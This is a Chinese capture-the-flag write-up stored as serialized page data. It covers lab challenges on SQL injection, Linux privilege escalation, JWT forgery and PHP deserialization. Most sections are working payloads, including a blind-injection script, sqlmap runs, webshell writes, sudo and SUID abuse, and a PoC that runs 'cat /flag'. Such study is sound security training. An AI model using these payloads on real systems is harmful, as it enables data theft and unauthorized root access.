\n",[33,974,972],{"__ignoreMap":94},[10,976,978],{"id":977},"ezsql_1","EZSQL_1",[15,980,981,982,173],{},"登录的，用万能密码。",[33,983,984],{"code":984},"admin \u002F 1' or 1 = 1#",[10,986,988],{"id":987},"ezsql_2","EZSQL_2",[15,990,991],{},"能登录，但是没返回 flag ，得在 username 或者 password 进行注入，这里用 username 。",[88,993,996],{"className":994,"code":995,"language":918,"meta":94},[916],"admin' order by 4# \nadmin' order by 5#\n4 列\n\n-1' union select 1,2,3,4#\n2 是回显位\n\n-1' union select 1,group_concat(schema_name),3,4 from information_schema.schemata#\ninformation_schema    user\n\n-1' union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema ='user' #\nflag\n\n-1' union select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema = 'user' and table_name = 'flag'#\nid,name,passwd,secret\n\n-1' union select 1,group_concat(id,name,passwd,secret),3,4 from user.flag#\n",[33,997,995],{"__ignoreMap":94},[10,999,1001],{"id":1000},"ezsql_3","EZSQL_3",[15,1003,1004,1005,1008],{},"闭合方式改了，bp 看一下，是 ",[33,1006,1007],{"code":1007},"')"," 闭合，只用改一下前面的闭合方式。",[88,1010,1013],{"className":1011,"code":1012,"language":918,"meta":94},[916],"-1') union select 1,group_concat(id,name,passwd,secret),3,4 from user.flag#\n",[33,1014,1012],{"__ignoreMap":94},[10,1016,1018],{"id":1017},"ezsql_4","EZSQL_4",[15,1020,1021,1022,1025],{},"看下闭合，",[33,1023,1024],{"code":1024},"\""," 闭合。",[88,1027,1030],{"className":1028,"code":1029,"language":918,"meta":94},[916],"-1\" union select 1,group_concat(id,name,passwd,secret),3,4 from user.flag#\n",[33,1031,1029],{"__ignoreMap":94},[10,1033,1035],{"id":1034},"ezsql_5","EZSQL_5",[15,1037,1038,1025],{},[33,1039,1040],{"code":1040},"\")",[88,1042,1045],{"className":1043,"code":1044,"language":918,"meta":94},[916],"-1\") union select 1,group_concat(id,name,passwd,secret),3,4 from user.flag#\n",[33,1046,1044],{"__ignoreMap":94},[10,1048,1050],{"id":1049},"ezsql_6","EZSQL_6",[15,1052,1053,1054,173],{},"有过滤，",[33,1055,1056],{"code":1056},"# -- ",[88,1058,1061],{"className":1059,"code":1060,"language":918,"meta":94},[916],"-1' union select 1,group_concat(id,name,passwd,secret),3,4 from user.flag where 1=1 or '\n",[33,1062,1060],{"__ignoreMap":94},[15,1064,1065,1066,1069],{},"或者可以用 ",[33,1067,1068],{"code":1068},"\u002F**\u002F"," 绕过。",[88,1071,1074],{"className":1072,"code":1073,"language":918,"meta":94},[916],"username: -1' union select 1,group_concat(id,name,passwd,secret),3,4 from user.flag where 1=1 \u002F*\npassword: *\u002F or '\n",[33,1075,1073],{"__ignoreMap":94},[10,1077,1079],{"id":1078},"ezsql_7","EZSQL_7",[15,1081,1082],{},"过滤空格了，用以下绕过。",[88,1084,1087],{"className":1085,"code":1086,"language":918,"meta":94},[916],"-1'\u002F**\u002Funion\u002F**\u002Fselect\u002F**\u002F1,group_concat(id,name,passwd,secret),3,4\u002F**\u002Ffrom\u002F**\u002Fuser.flag#\n-1'%0cunion%0cselect%0c1,group_concat(id,name,passwd,secret),3,4%0cfrom%0cuser.flag%23\n-1'union(select(1),group_concat(id,name,passwd,secret),(3),(4)from(user.flag))#\n",[33,1088,1086],{"__ignoreMap":94},[10,1090,1092],{"id":1091},"ezsql_8","EZSQL_8",[15,1094,1095,1096,1099],{},"过滤空格，但是注入发现把 ",[33,1097,1098],{"code":1098},"union select from flag "," 过滤了，双写绕过。",[88,1101,1104],{"className":1102,"code":1103,"language":918,"meta":94},[916],"-1'\u002F**\u002Fuunionnion\u002F**\u002Fsselectelect\u002F**\u002F1,group_concat(id,name,passwd,secret),3,4\u002F**\u002Ffrofromm\u002F**\u002Fuser.flflagag#\n",[33,1105,1103],{"__ignoreMap":94},[10,1107,1109],{"id":1108},"ezsql_9","EZSQL_9",[15,1111,1112],{},"数字型，直接注入。",[88,1114,1117],{"className":1115,"code":1116,"language":918,"meta":94},[916],"-1 union select 1,2,3,group_concat(id,flag) from user.flag#\n",[33,1118,1116],{"__ignoreMap":94},[10,1120,1122],{"id":1121},"ezsql_10","EZSQL_10",[15,1124,1125,1025],{},[33,1126,1127],{"code":1127},"'",[88,1129,1132],{"className":1130,"code":1131,"language":918,"meta":94},[916],"-1' union select 1,2,3,group_concat(id,flag) from user.flag#\n",[33,1133,1131],{"__ignoreMap":94},[10,1135,1137],{"id":1136},"ezsql_11","EZSQL_11",[15,1139,1140,1141,1143],{},"还是",[33,1142,1127],{"code":1127}," 闭合，但是有过滤，测试出来是 select ，双写也过不去，试试堆叠注入。",[88,1145,1148],{"className":1146,"code":1147,"language":918,"meta":94},[916],"1';do sleep(3)#\n1';show databases#\n1';show tables#\n1';show columns from flag#\n1';handler flag open;handler flag read first;handler flag close#\n",[33,1149,1147],{"__ignoreMap":94},[10,1151,1153],{"id":1152},"ezsql_12","EZSQL_12",[15,1155,1156,1158],{},[33,1157,1127],{"code":1127}," 闭合，有 3 列，无回显位，但是刚才查列数的时候有报错，尝试报错注入。",[88,1160,1163],{"className":1161,"code":1162,"language":918,"meta":94},[916],"1' and updatexml(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata),0x7e),1)#       \ninformation_schema    user\n1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='user'),0x7e),1)#\nflag    users\n1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='user' and table_name='flag'),0x7e),1)#\nid    flag\n1' and updatexml(1,concat(0x7e,substr((select group_concat(id,flag) from user.flag),1,30),0x7e),1)#\n1' and updatexml(1,concat(0x7e,substr((select group_concat(id,flag) from user.flag),31,60),0x7e),1)#\n",[33,1164,1162],{"__ignoreMap":94},[10,1166,1168],{"id":1167},"ezsql_13","EZSQL_13",[15,1170,1171],{},"没有返回内容，只有是否执行成功，用布尔盲注。",[88,1173,1176],{"className":1174,"code":1175,"language":470,"meta":94},[468],"import requests\nimport time\nurl = \"http:\u002F\u002Fdocker.qingcen.net:43961\u002F\"\ndata= \"\"\nfor i in range(1,100):\n    min = 32\n    max = 128\n    while (min \u003C max) :\n        mid = (min + max) \u002F\u002F 2\n        # 爆破数据库名\n        #payload = \"?id=1' and if(ascii(substr(database(),{},1))>{},1,0)%23\".format(i, mid)\n        # 爆破表名\n        #payload = \"?id=1' and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='user'),{},1))>{},1,0)%23\".format(i, mid)\n        # 爆破字段\n        #payload = \"?id=1' and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema='user' and table_name='flag'),{},1))>{},1,0)%23\".format(i, mid)\n        # 爆破数据\n        payload = \"?id=1'and if(ascii(substr((select group_concat(id,flag) from user.flag),{},1))>{},1,0)%23\".format(i, mid)\n        urls = url+payload\n\n        response = requests.get(url=urls)\n        if \"查询成功\" in response.text:\n            min = mid+1\n        else:\n            max = mid\n        mid = (min + max) \u002F\u002F 2\n    data += chr(mid)\n    print(data)\n",[33,1177,1175],{"__ignoreMap":94},[10,1179,1181],{"id":1180},"ezsql_14","EZSQL_14",[15,1183,1184],{},"什么结果都没有，考虑时间盲注，用 sqlmap 。",[88,1186,1189],{"className":1187,"code":1188,"language":470,"meta":94},[468],"python sqlmap.py -u \"http:\u002F\u002Fdocker.qingcen.net:48967\u002F?id=1\" --batch\n\npython sqlmap.py -u \"http:\u002F\u002Fdocker.qingcen.net:48967\u002F?id=999999\" --random-agent --dbs\n查库名  user  information_schema\n\npython sqlmap.py -u \"http:\u002F\u002Fdocker.qingcen.net:48967\u002F?id=999999\" --random-agent -D user --tables\n查表名  flag  employees\n\npython sqlmap.py -u \"http:\u002F\u002Fdocker.qingcen.net:48967\u002F?id=999999\" --random-agent -D user -T flag --columns\n查字段  id  flag\n\npython sqlmap.py -u \"http:\u002F\u002Fdocker.qingcen.net:48967\u002F?id=999999\" --random-agent -D user -T flag --dump\n查 flag \n",[33,1190,1188],{"__ignoreMap":94},[10,1192,1194],{"id":1193},"ezsql_15","EZSQL_15",[15,1196,1197],{},"长度一样并且全失败了，找不到闭合方式，可能是宽字节注入。",[88,1199,1202],{"className":1200,"code":1201,"language":918,"meta":94},[916],"admin%df' or 1=1%23\n-1%df' union select 1,2,3,4%23\n-1%df' union select 1,group_concat(id,secret),3,4 from user.flag%23\n",[33,1203,1201],{"__ignoreMap":94},[10,1205,1207],{"id":1206},"ezsql_16","EZSQL_16",[15,1209,1210],{},"用 # 报错了，是 SQLite 的。",[88,1212,1215],{"className":1213,"code":1214,"language":918,"meta":94},[916],"1' order by 5--+\n-1' union select 1,2,3,4--+\n",[33,1216,1214],{"__ignoreMap":94},[15,1218,1219],{},"试一下能不能拿到数据库文件。",[88,1221,1224],{"className":1222,"code":1223,"language":918,"meta":94},[916],"-1' union select 1,group_concat(file),3,4 from pragma_database_list--+\n\u002Fvar\u002Fwww\u002Fhtml\u002Fdata.db\n",[33,1225,1223],{"__ignoreMap":94},[15,1227,1228],{},"访问下载，然后用 SQLite 直接就能看到。",[15,1230,1231],{},"或者不用这个。",[88,1233,1236],{"className":1234,"code":1235,"language":918,"meta":94},[916],"-1' union select 1,group_concat(name),3,4 from sqlite_master where type='table'--+\n表  flag\n-1' union select 1,group_concat(sql),3,4 from sqlite_master where type='table' and name='flag'--+\n-1' union select 1,group_concat(name),3,4 from pragma_table_info('flag')--\n字段  id name passwd secret\n-1' union select 1,group_concat(id||name||passwd||secret),3,4 from flag--+\n",[33,1237,1235],{"__ignoreMap":94},[10,1239,1241],{"id":1240},"ezsql_17","EZSQL_17",[15,1243,1244],{},"还是 SQLite ，但是没回显，布尔盲注。",[88,1246,1249],{"className":1247,"code":1248,"language":918,"meta":94},[916],"python sqlmap.py -u \"http:\u002F\u002Fdocker.qingcen.net:38040\u002F?id=1\" --flush-session\n\npython sqlmap.py -u \"http:\u002F\u002Fdocker.qingcen.net:38040\u002F?id=1\" --tables\nemployees  flag \n\npython sqlmap.py -u \"http:\u002F\u002Fdocker.qingcen.net:38040\u002F?id=1\" -T flag --columns\nid  flag\n\npython sqlmap.py -u \"http:\u002F\u002Fdocker.qingcen.net:38040\u002F?id=1\" -T flag --dump\n",[33,1250,1248],{"__ignoreMap":94},[10,1252,1254],{"id":1253},"ezsql_18","EZSQL_18",[15,1256,1257],{},"有登录有注册，想到二次注入。",[88,1259,1262],{"className":1260,"code":1261,"language":918,"meta":94},[916],"注册：admin' #\n登录：admin' #\n",[33,1263,1261],{"__ignoreMap":94},[10,1265,1267],{"id":1266},"ezsql_19","EZSQL_19",[15,1269,1270],{},"上一关的不行了，笔记没东西，联合查询注入。",[88,1272,1275],{"className":1273,"code":1274,"language":918,"meta":94},[916],"admin' order by 3#\n-1' union select 1,2#\n\n-1' union select 1,group_concat(schema_name) from information_schema.schemata #\ninformation_schema,user\n\n-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='user'#\nuser_notes,users,flags\n\n-1' union select 1,group_concat(column_name) from information_schema.columns where table_schema='user' and table_name = 'flags'#\nflag\n\n-1' union select 1,group_concat(flag) from user.flags #\n",[33,1276,1274],{"__ignoreMap":94},[10,1278,1280],{"id":1279},"ezsql_20","EZSQL_20",[15,1282,1283,1025],{},[33,1284,1127],{"code":1127},[88,1286,1291],{"className":1287,"code":1289,"language":1290,"meta":94},[1288],"language-SQL","2026001' order by 3#\n\n有过滤，测试出来是 , 可以用 join 绕过。\n-1' union select * from (select 1)a join (select 2)b join (select 3)c#\n\n-1' union select * from (select 1)a join (select group_concat(schema_name) from information_schema.schemata )b join (select 3)c#\ninformation_schema,ezsql20\n\n-1' union select * from (select 1)a join (select group_concat(table_name) from information_schema.tables where table_schema = 'ezsql20')b join (select 3)c#\nflag,notices\n\n-1' union select * from (select 1)a join (select group_concat(column_name) from information_schema.columns where table_schema = 'ezsql20' and table_name = 'flag')b join (select 3)c#\nid,secret,note\n\n-1' union select * from (select 1)a join (select group_concat(secret) from ezsql20.flag )b join (select 3)c#\n","SQL",[33,1292,1289],{"__ignoreMap":94},[10,1294,1296],{"id":1295},"ezsql_21","EZSQL_21",[15,1298,1299,1025],{},[33,1300,1127],{"code":1127},[88,1302,1305],{"className":1303,"code":1304,"language":918,"meta":94},[916],"EXP-2026001' order by 3#\n-1' union select 1,2,3#\n\n-1' union select 1,2,group_concat(schema_name) from information_schema.schemata#\ninformation_schema,ezsql20\n\n\n-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='ezsql20'#\nshipments\n\n-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='ezsql20' and table_name='shipments'#\ntracking_no,recipient,latest_status\n\n-1' union select 1,2,group_concat(tracking_no,recipient,latest_status) from ezsql20.shipments#\n没 flag \n",[33,1306,1304],{"__ignoreMap":94},[15,1308,1309,1310,1313,1314,1317],{},"联合查询应该是不行了，看源码说 ",[33,1311,1312],{"code":1312},"flag"," 在 ",[33,1315,1316],{"code":1316},"\u002Fconquer_secret.txt"," ，尝试文件读取。",[88,1319,1322],{"className":1320,"code":1321,"language":918,"meta":94},[916],"-1' union select 1,2,load_file('\u002Fconquer_secret.txt')#\n",[33,1323,1321],{"__ignoreMap":94},[10,1325,1327],{"id":1326},"ezsql_22","EZSQL_22",[15,1329,1330],{},"上一关的 payload 直接说检测到非法函数，有过滤，可以尝试写入别的文件，先试一下上一关的数据库结构，改了。",[88,1332,1335],{"className":1333,"code":1334,"language":918,"meta":94},[916],"-1' union select 1,2,group_concat(schema_name) from information_schema.schemata#\ninformation_schema,ezsql21\n\n-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='ezsql21'#\nshipments\n\n-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='ezsql21' and table_name='shipments'#\ntracking_no,recipient,latest_status\n\n-1' union select 1,2,group_concat(tracking_no,recipient,latest_status) from ezsql21.shipments#\n没 flag\n",[33,1336,1334],{"__ignoreMap":94},[15,1338,1339],{},"看下权限，为空，表示没有任何限制。",[88,1341,1344],{"className":1342,"code":1343,"language":918,"meta":94},[916],"-1' UNION SELECT 1,2,@@secure_file_priv#\n",[33,1345,1343],{"__ignoreMap":94},[15,1347,1348],{},"然后写入。",[88,1350,1353],{"className":1351,"code":1352,"language":918,"meta":94},[916],"-1' union select '\u003C?php @readfile(\"\u002Fconquer_secret.txt\");?>',2,3 into outfile '\u002Fvar\u002Fwww\u002Fhtml\u002F1.php'#\n",[33,1354,1352],{"__ignoreMap":94},[10,1356,1358],{"id":1357},"ezsql_23","EZSQL_23",[88,1360,1363],{"className":1361,"code":1362,"language":918,"meta":94},[916],"-1' union select 1,2,group_concat(schema_name) from information_schema.schemata#\ninformation_schema,ezsql22\n\n-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='ezsql22'#\nshipments\n\n-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='ezsql22' and table_name='shipments'#\ntracking_no,recipient,latest_status\n\n-1' union select 1,2,group_concat(tracking_no,recipient,latest_status) from ezsql22.shipments#\n没 flag\n",[33,1364,1362],{"__ignoreMap":94},[15,1366,1367],{},"上一关的 payload 说有非法关键字，用 dumpfile 换一下，只能导出第一行数据，并不常用，通常写入第二条数据时出错，但第二条内容已被写入文件。",[88,1369,1372],{"className":1370,"code":1371,"language":918,"meta":94},[916],"-1' union select '\u003C?php @readfile(\"\u002Fconquer_secret.txt\");?>',2,3 into dumpfile '\u002Fvar\u002Fwww\u002Fhtml\u002F1.php'#\n",[33,1373,1371],{"__ignoreMap":94},[10,1375,1377],{"id":1376},"ezprivesc1","EZPrivEsc1",[15,1379,1380],{},"蚁剑连接，进入虚拟终端，先信息收集一下。",[88,1382,1385],{"className":1383,"code":1384,"language":268,"meta":94},[266],"(www-data:\u002Fvar\u002Fwww\u002Fhtml) $ sudo -l\nUser www-data may run the following commands on a034b4ee73e9:\n    (ALL) NOPASSWD: \u002Fusr\u002Fbin\u002Ffind\n",[33,1386,1384],{"__ignoreMap":94},[15,1388,1389],{},"sudo 配置错误，用 find 提权。",[88,1391,1394],{"className":1392,"code":1393,"language":268,"meta":94},[266],"sudo find -exec cat \u002Froot\u002Fflag.txt \\;\n",[33,1395,1393],{"__ignoreMap":94},[10,1397,1399],{"id":1398},"ezprivesc2","EZPrivEsc2",[15,1401,1402],{},"根据提示的，看一下 SUID 。",[88,1404,1407],{"className":1405,"code":1406,"language":268,"meta":94},[266],"find \u002F -user root -perm -4000  -type f -print 2>\u002Fdev\u002Fnull\n\n\u002Fusr\u002Fbin\u002Fmount\n\u002Fusr\u002Fbin\u002Ffind\n\u002Fusr\u002Fbin\u002Fgpasswd\n\u002Fusr\u002Fbin\u002Fsu\n\u002Fusr\u002Fbin\u002Fchsh\n\u002Fusr\u002Fbin\u002Fnewgrp\n\u002Fusr\u002Fbin\u002Fchfn\n\u002Fusr\u002Fbin\u002Fumount\n\u002Fusr\u002Fbin\u002Fpasswd\n",[33,1408,1406],{"__ignoreMap":94},[15,1410,1411],{},"还是用 find 提权。",[88,1413,1416],{"className":1414,"code":1415,"language":268,"meta":94},[266],"find -exec cat \u002Froot\u002Fflag.txt \\;\n",[33,1417,1415],{"__ignoreMap":94},[10,1419,1421],{"id":1420},"ezprivesc3","EZPrivEsc3",[15,1423,1424],{},"还是 sudo 配置错误。",[88,1426,1429],{"className":1427,"code":1428,"language":268,"meta":94},[266],"(www-data:\u002Fvar\u002Fwww\u002Fhtml) $ sudo -l\nUser www-data may run the following commands on ff0d637c4c40:\n    (root) NOPASSWD: \u002Fusr\u002Fbin\u002Fpython3 \u002Fopt\u002Fscripts\u002Fbackup.py\n",[33,1430,1428],{"__ignoreMap":94},[15,1432,1433],{},"看下权限还是 755 ，没有 vim ，用别的改一下然后提权。",[88,1435,1438],{"className":1436,"code":1437,"language":268,"meta":94},[266],"echo 'print(open(\\\"\u002Froot\u002Fflag.txt\\\").read())' > \u002Fopt\u002Fscripts\u002Fbackup.py\nsudo \u002Fusr\u002Fbin\u002Fpython3 \u002Fopt\u002Fscripts\u002Fbackup.py\n",[33,1439,1437],{"__ignoreMap":94},[10,1441,1443],{"id":1442},"ezprivesc4","EZPrivEsc4",[15,1445,1446],{},"看下 SUID ，有 tar 。",[88,1448,1451],{"className":1449,"code":1450,"language":268,"meta":94},[266],"tar -cf \u002Ftmp\u002Fflag.tar \u002Froot\u002Fflag.txt\ntar -xO -f \u002Ftmp\u002Fflag.tar root\u002Fflag.txt\n",[33,1452,1450],{"__ignoreMap":94},[10,1454,1456],{"id":1455},"ezprivesc5","EZPrivEsc5",[15,1458,1459],{},"题目提示 Capabilities ，先找一下。",[88,1461,1464],{"className":1462,"code":1463,"language":268,"meta":94},[266],"\u002Fusr\u002Fbin\u002Fpython3.13 cap_dac_read_search=ep\n",[33,1465,1463],{"__ignoreMap":94},[15,1467,1468],{},"直接提权。",[88,1470,1473],{"className":1471,"code":1472,"language":268,"meta":94},[266],"(www-data:\u002Fvar\u002Fwww\u002Fhtml) $ \u002Fusr\u002Fbin\u002Fpython3.13 'print(open(\\\"\u002Froot\u002Fflag.txt\\\").read())'\n\u002Fbin\u002Fsh: 1: \u002Fusr\u002Fbin\u002Fpython3.13: Operation not permitted\n(www-data:\u002Fvar\u002Fwww\u002Fhtml) $ ls -al \u002Fusr\u002Fbin\u002Fpython3.13\n-rwxr-xr-x 1 root root 6812336 Jul 15 20:25 \u002Fusr\u002Fbin\u002Fpython3.13\n",[33,1474,1472],{"__ignoreMap":94},[15,1476,1477],{},"这条路过不去呀，看看别的东西，在 env 中找到了 flag 。",[10,1479,1481],{"id":1480},"ezprivesc6","EZPrivEsc6",[15,1483,1484,1485,1488],{},"代码提示通过",[33,1486,1487],{"code":1487},"\u002Fapi\u002Fnote\u002F{id}"," 方式获得笔记，爆破一下，为 726 的时候拿到 flag。",[10,1490,1492],{"id":1491},"ezprivesc7","EZPrivEsc7",[15,1494,1495,1496,1499,1500,1503],{},"注册一个账号，根据提示抓一下更改信息的包，只有三个字段，GET 请求一下 ",[33,1497,1498],{"code":1498},"\u002Fapi\u002Fprofile"," 还有别的字段，加到更改的 POST 包，但是页面还是 user，尝试退出重新登录，已经是 admin ，访问 ",[33,1501,1502],{"code":1502},"\u002Fadmin"," 拿到 flag。",[10,1505,1507],{"id":1506},"ezprivesc8","EZPrivEsc8",[15,1509,1510,1511,1514,1515,1518],{},"注册用户登录，请求",[33,1512,1513],{"code":1513},"\u002Fapi\u002Fuser"," 返回了7个字段，有个 token ，拿到登录页面可以直接用 token 登录，那就是去找 admin 的 token。观察返回的字段，尝试了一下 POST 发包，不行，字段里面还有 id，尝试用 ",[33,1516,1517],{"code":1517},"?id="," 去读，爆破一下，211 的时候找到 toekn，登录访问就行。",[10,1520,1522],{"id":1521},"ezprivesc9","EZPrivEsc9",[15,1524,1525],{},"注册登录，看 cookie 有四个，分别是 auth_token、role、session、uesr_id，根据提示，选择把 auth_token 删除，role 用 admin 的 base64 格式，再访问。",[10,1527,1529],{"id":1528},"ezprivesc10","EZPrivEsc10",[10,1531,1533],{"id":1532},"ezprivesc11","EZPrivEsc11",[10,1535,1537],{"id":1536},"ezprivesc12","EZPrivEsc12",[10,1539,1541],{"id":1540},"ezprivesc13","EZPrivEsc13",[10,1543,1545],{"id":1544},"ezjwt","EZJWT",[15,1547,1548],{},"HS256 签名，试试爆破密钥，这里用的是 jwt_tool 。",[88,1550,1553],{"className":1551,"code":1552,"language":268,"meta":94},[266],"python jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6Imd1ZXN0Iiwicm9sZSI6Imd1ZXN0In0.2s6Ssv1pE5dLPJUWfaVI2apGc2nNC3jAhydYOrwOrMw -C -d rockyou.txt\n",[33,1554,1552],{"__ignoreMap":94},[15,1556,1557,1558,1561],{},"结果是 ",[33,1559,1560],{"code":1560},"secret"," ，然后改成 admin ，再访问。",[10,1563,1565],{"id":1564},"ezjwt_1","EZJWT_1",[15,1567,1568],{},"RS256 签名，还泄露了公钥，试试混淆攻击，可以登录，接着改成 admin ，再访问。",[88,1570,1573],{"className":1571,"code":1572,"language":268,"meta":94},[266],"python jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJ1c2VybmFtZSI6Imd1ZXN0Iiwicm9sZSI6Imd1ZXN0In0.F6b5fGPpMcQgH70-Xv_RMwWSczMvZVPxdE8KKkQ2p_VqdkqFcS5shV9BGGQGC7Nu4c3tgV0kTrhVL40VvNzt_PjJUUZ2x7zA6h_jnDjRcMugcujtOmhIXARK2rVPWiN2dYPc69W78fgop6gWfUYcmShCTIZcZKWnKQdd6N6h-lw -X k -pk pubkey.pem -I -pc username -pv admin -pc role -pv admin\n",[33,1574,1572],{"__ignoreMap":94},[10,1576,1578],{"id":1577},"ezjwt_2","EZJWT_2",[15,1580,1581,1582,1585],{},"这道题有 kid ，可以尝试注入，常用的有",[33,1583,1584],{"code":1584},"\u002Fdev\u002Fnull"," ，这个是 linux 的黑洞文件，读出来的都是空字符串，然后空密钥签名。",[88,1587,1590],{"className":1588,"code":1589,"language":268,"meta":94},[266],"python jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiIsImtpZCI6ImtleTEifQ.eyJ1c2VybmFtZSI6Imd1ZXN0Iiwicm9sZSI6Imd1ZXN0In0.Z_o4MZ1tNK0QiwL9796EZFfl_qCgk5tsp2U5xyCjNMo -I -hc kid -hv \"..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002Fdev\u002Fnull\" -pc role -pv admin -pc username -pv admin -S hs256 -p \"\"\n",[33,1591,1589],{"__ignoreMap":94},[15,1593,1594,1595,1598],{},"这道题其实还有一个解，",[33,1596,1597],{"code":1597},"\u002Fkeys\u002Fkey1"," 直接就能拿到密钥，然后伪造。",[10,1600,1602],{"id":1601},"ezjwt_3","EZJWT_3",[15,1604,1605],{},"还是 kid ，但是上一题的不行了，试试 SQL 注入，这个可以。",[88,1607,1610],{"className":1608,"code":1609,"language":268,"meta":94},[266],"python jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiIsImtpZCI6Im1haW4ta2V5In0.eyJ1c2VybmFtZSI6Imd1ZXN0Iiwicm9sZSI6Imd1ZXN0In0.anb993R-z77NqeNWoonCWs9JF8HcF0ka2keD07ukh9c -I -hc kid -hv \"' union select 'secret' -- \" -pc role -pv admin -pc username -pv admin -S hs256 -p \"secret\"\n",[33,1611,1609],{"__ignoreMap":94},[10,1613,1615],{"id":1614},"ezpop","EZPOP",[88,1617,1620],{"className":1618,"code":1619,"language":302,"meta":94},[300],"$flag = file_get_contents(\"\u002Fflag\");\nclass ShowFlag {\n\tpublic $show = false;\n\tpublic function __destruct() {\n\t\tif ($this->show) {\n\t\t\techo $GLOBALS['flag'];\n\t\t}\n\t}\n}\nhighlight_file(FILE);\nif (isset($_GET['data'])) {\n\tunserialize($_GET['data']);\n}\n?>\n",[33,1621,1619],{"__ignoreMap":94},[15,1623,1624,1625,1628,1629,1632],{},"令",[33,1626,1627],{"code":1627},"$this->show","为",[33,1630,1631],{"code":1631},"true","即可。",[15,1634,1635],{},"POC",[88,1637,1640],{"className":1638,"code":1639,"language":302,"meta":94},[300],"\u003C?php\nclass ShowFlag {\n    public $show = true;\n}\necho urlencode(serialize(new ShowFlag()));\n?>\n",[33,1641,1639],{"__ignoreMap":94},[10,1643,1645],{"id":1644},"ezpop_1","EZPOP_1",[88,1647,1650],{"className":1648,"code":1649,"language":302,"meta":94},[300],"\u003C?php\nclass ShowFlag {\n    public $show = false;\n    public $code = \"\";\n    public function __destruct() {\n        if ($this->show) {\n            eval($this->code);\n        }\n    }\n}\nif (isset($_COOKIE[\"data\"])) {\n    unserialize($_COOKIE[\"data\"]);\n}\nhighlight_file(__FILE__);\n",[33,1651,1649],{"__ignoreMap":94},[15,1653,1654,1655,1628,1657,1659,1660,1663,1664,1667],{},"可以令",[33,1656,1627],{"code":1627},[33,1658,1631],{"code":1631},"，然后进入",[33,1661,1662],{"code":1662},"eval($this->code)","，这时去改变",[33,1665,1666],{"code":1666},"$this->code","的值进行命令执行。",[15,1669,1635],{},[88,1671,1674],{"className":1672,"code":1673,"language":302,"meta":94},[300],"\u003C?php\nclass ShowFlag\n{\n    public $show = true;\n    public $code = \"system('cat \u002Fflag');\";\n}\necho serialize(new ShowFlag());\n",[33,1675,1673],{"__ignoreMap":94},[10,1677,1679],{"id":1678},"ezpop_2","EZPOP_2",[88,1681,1684],{"className":1682,"code":1683,"language":302,"meta":94},[300],"\u003C?php\n$flag = file_get_contents(\"\u002Fflag\");\n\nclass Fracture {\n    public $delegate;\n\n    public function __destruct() {\n        if ($this->delegate) {\n            $this->delegate->disperse();\n        }\n    }\n}\n\nclass Specter {\n    public $latch = false;\n\n    public function __toString() {\n        if ($this->latch) {\n            return $GLOBALS['flag'];\n        }\n        return \"no\";\n    }\n}\n\nclass Thunk {\n    public $operand;\n\n    public function __invoke() {\n        echo $this->operand;\n    }\n}\n\nclass Conduit {\n    public $handler;\n\n    public function disperse() {\n        $f = $this->handler;\n        return $f();\n    }\n}\n\nhighlight_file(__FILE__);\n\nif (isset($_COOKIE['data'])) {\n    unserialize($_COOKIE['data']);\n}\n?>\n",[33,1685,1683],{"__ignoreMap":94},[15,1687,1688,1690,1691,1694,1695,1698,1699,1702,1703,1705,1706,311],{},[33,1689,1312],{"code":1312}," 是在 ",[33,1692,1693],{"code":1693},"Specter::__toString()"," 里返回的，所以目标很明确，就是先让 ",[33,1696,1697],{"code":1697},"Specter"," 里的 ",[33,1700,1701],{"code":1701},"$latch"," 变成 ",[33,1704,1631],{"code":1631},"，再想办法触发一次 ",[33,1707,1708],{"code":1708},"__toString()",[15,1710,1711,1712,1715,1716,1719,1720,1723,1724,1727,1728,1731,1732,1735,1736,1739,1740,1743,1744,311],{},"先看入口，",[33,1713,1714],{"code":1714},"Fracture::__destruct()"," 会在对象销毁时执行 ",[33,1717,1718],{"code":1718},"$this->delegate->disperse()","，所以最外层可以放一个 ",[33,1721,1722],{"code":1722},"Fracture"," 对象。接着让它的 ",[33,1725,1726],{"code":1726},"$delegate"," 指向 ",[33,1729,1730],{"code":1730},"Conduit","，因为 ",[33,1733,1734],{"code":1734},"Conduit::disperse()"," 会把 ",[33,1737,1738],{"code":1738},"$this->handler"," 取出来赋给 ",[33,1741,1742],{"code":1742},"$f","，然后执行 ",[33,1745,1746],{"code":1746},"$f()",[15,1748,1749,1750,1753,1754,1757,1758,1761,1762,1765,1766,311],{},"这说明 ",[33,1751,1752],{"code":1752},"$handler"," 需要是一个可调用对象，所以这里放 ",[33,1755,1756],{"code":1756},"Thunk","。当对象被当作函数调用时，会触发 ",[33,1759,1760],{"code":1760},"Thunk::__invoke()","，而 ",[33,1763,1764],{"code":1764},"__invoke()"," 里有一行 ",[33,1767,1768],{"code":1768},"echo $this->operand",[15,1770,1771,1772,1774,1775,1778,1779,1781,1782,1785,1786,1788,1789,1774,1791,1793,1794,1796,1797,1799,1800,1799,1802,1799,1804,1806,1807,1809],{},"于是只要再把 ",[33,1773,1756],{"code":1756}," 的 ",[33,1776,1777],{"code":1777},"$operand"," 设成 ",[33,1780,1697],{"code":1697}," 对象，",[33,1783,1784],{"code":1784},"echo"," 对象时就会自动触发 ",[33,1787,1693],{"code":1693},"。最后把 ",[33,1790,1697],{"code":1697},[33,1792,1701],{"code":1701}," 改成 ",[33,1795,1631],{"code":1631},"，整条利用链就是 ",[33,1798,1714],{"code":1714}," -> ",[33,1801,1734],{"code":1734},[33,1803,1760],{"code":1760},[33,1805,1693],{"code":1693},"，这样就能把 